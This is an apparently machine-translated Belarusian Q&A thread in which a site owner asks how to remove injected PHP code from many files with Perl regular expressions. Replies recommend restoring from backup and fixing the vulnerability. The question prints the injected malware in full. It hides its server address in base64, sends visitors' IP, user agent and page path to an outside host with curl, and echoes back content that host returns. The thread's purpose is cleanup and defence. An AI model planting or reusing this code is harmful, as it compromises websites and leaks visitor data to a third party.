Malware выдаленне з дапамогай PERL рэгулярных выразаў

Ці ёсць спосаб, каб выдаліць гэты код з некалькіх файлаў і каталогаў:

if (!isset($sRetry)) 
{
    global $sRetry;
    $sRetry = 1;//This code use for  lobal bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']);// Looks for Google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";

    if (strstr($sUserAgent, 'google') == false && 
        strstr($sUserAgent, 'yahoo') == false && 
        strstr($sUserAgent, 'baidu') == false && 
        strstr($sUserAgent, 'msn') == false && 
        strstr($sUserAgent, 'opera') == false && 
        strstr($sUserAgent, 'chrome') == false && 
        strstr($sUserAgent, 'bing') == false && 
        strstr($sUserAgent, 'safari') == false && 
        strstr($sUserAgent, 'bot') == false)//Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) && isset($_SERVER['HTTP_HOST'])) 
        {// reate  bot analitics
            $stCurlLink = base64_decode('aHR0cDovL2NvbnFzdGF0LmNvbS9zdGF0L3N0YXQucGhw') . 
                '?ip=' . urlencode($_SERVER['REMOTE_ADDR']) . 
                '& seragent=' . urlencode($sUserAgent) . 
                '&domainname=' . urlencode($_SERVER['HTTP_HOST']) . 
                '& ullpath=' . urlencode($_SERVER['REQUEST_URI']) . 
                '& check=' . isset($_GET['look']);
            $stCurlHandle = curl_init($stCurlLink);
        }
    }

    if ($stCurlHandle !== NULL) 
    {
        curl_setopt($stCurlHandle, URLOPT_RETURNTRANSFER, 1);
        $sResult = @curl_exec($stCurlHandle);

        if $sResult[0] == "O") 
        {
            $sResult[0] = " ";
            echo $sResult;//Statistic code end

        }
        curl_close($stCurlHandle);
    }
}
0
Як аб выдаленні фактычнай уразлівасці, якая дазволіла камусьці, каб увесці гэты код, каб вашыя старонкі?
дададзена аўтар Sinan Ünür, крыніца
Калі ласка, устаўце код яшчэ раз, выберыце устаўлены код і націсніце кнопку коды пры рэдагаванні.
дададзена аўтар Sebastian Paaske Tørholm, крыніца
Здаецца сво FTP справу
дададзена аўтар user1018279, крыніца

2 адказы

Не рабіце гэтага. Ніколі не спрабуйце адрамантаваць атаку. Вы ніколі не можаце быць упэўнены на 100%, калі вы атрымалі ўсе гэта. У рэшце рэшт, вы ведаеце гэтага канкрэтнага ін'екцыі. Як вы ведаеце, што няма іншых шчылін у іншых месцах?

Лепшы спосаб яго апрацоўкі з'яўляецца аднаўленне з рэзервовай копіі і ліквідаваць ўразлівасць.

Ня мець рэзервовую копію? Ну, ўрок. Цяпер перайдзіце да вашага гаспадара і папрасіць іх (яны павінны мець нядаўні адзін, але калі яны будуць каціць гэта для вас гэта іншае пытанне).

Калі яны не адзін небудзь, а затым вы затрымаліся спрабуеце аднавіць. Але нават тады, я б <моцны> не рэкамендуем рабіць гэта ў аўтаматычным рэжыме. Замест гэтага ідзеце файл, файл і паглядзець на тое, што было там. Вы не ведаеце, колькі версій гэтага «эксплуатуюць» існаваць, калі вы ўручную не ісці да кожнага файла і праверыць. Таму я б не паспрабаваць пабудаваць рэгулярны выраз, я хацеў бы зрабіць гэта ўручную, і рэкамендую вам зрабіць гэта. Але толькі ў крайнім выпадку да рэзервовай копіі ...

3
дададзена

Yes, I suppose you are on Windows (Unix users would know to use sed). I would try some free software that can do that: for example http://www.digitalvolcano.co.uk/content/textcrawler. Or better yet, download any PHP IDE. All can do bulk find&replace.

0
дададзена
Няма я на скрынцы Linux. Яго не просты ў выкарыстанні СЭД, бо існуе занадта шмат цытат і спецыяльныя сімвалы. \ Q \ E таксама не працуе
дададзена аўтар user1018279, крыніца